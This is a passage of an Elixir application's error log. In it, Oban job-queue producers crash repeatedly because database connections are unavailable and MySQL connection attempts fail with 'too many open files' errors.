    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:39:03.248600Z], limit: 3, uuid: "5a004041-02e5-4844-9921-861a6a958c28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:03.248613Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.210315>, refresh_timer: #Reference<0.2525715032.1121189889.210292>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:39:03.248772Z], limit: 5, uuid: "547cc903-c6e6-4877-97ec-77248e3de7af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:03.248777Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69157>, refresh_timer: #Reference<0.2525715032.1121189889.210302>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:15.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:17.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:18.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:21.119000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:23.669000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:24.714000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:26.654000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:27.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:39:15.239276Z], limit: 20, uuid: "9fb34f9f-f6ef-4748-8221-dc8899e5b302", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:15.239282Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.210680>, refresh_timer: #Reference<0.2525715032.1121189889.210642>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:39:15.239451Z], limit: 50, uuid: "fb026ed3-8739-4ad7-aa90-5b6d2db9cb87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:15.239457Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.210682>, refresh_timer: #Reference<0.2525715032.1121189889.210648>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:39:15.239596Z], limit: 10, uuid: "06f9f553-c982-4ddb-a4a1-c0c2196e829d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:15.239609Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.210681>, refresh_timer: #Reference<0.2525715032.1121189889.210655>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:39:15.240670Z], limit: 3, uuid: "aceda0ab-8527-4e9c-bbf4-d7382963e9d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:15.240676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.210683>, refresh_timer: #Reference<0.2525715032.1077673987.47772>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:39:15.240095Z], limit: 5, uuid: "4d60ded6-8aee-4ca5-affb-154af23fdace", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:15.240100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69416>, refresh_timer: #Reference<0.2525715032.1099431938.65998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:39:15.239658Z], limit: 5, uuid: "937e6583-9115-4e1f-a42b-674073c53b6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:15.239664Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69415>, refresh_timer: #Reference<0.2525715032.1068498948.69400>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:32.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:35.340000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:36.497000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:37.813000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:38.518000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:39.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
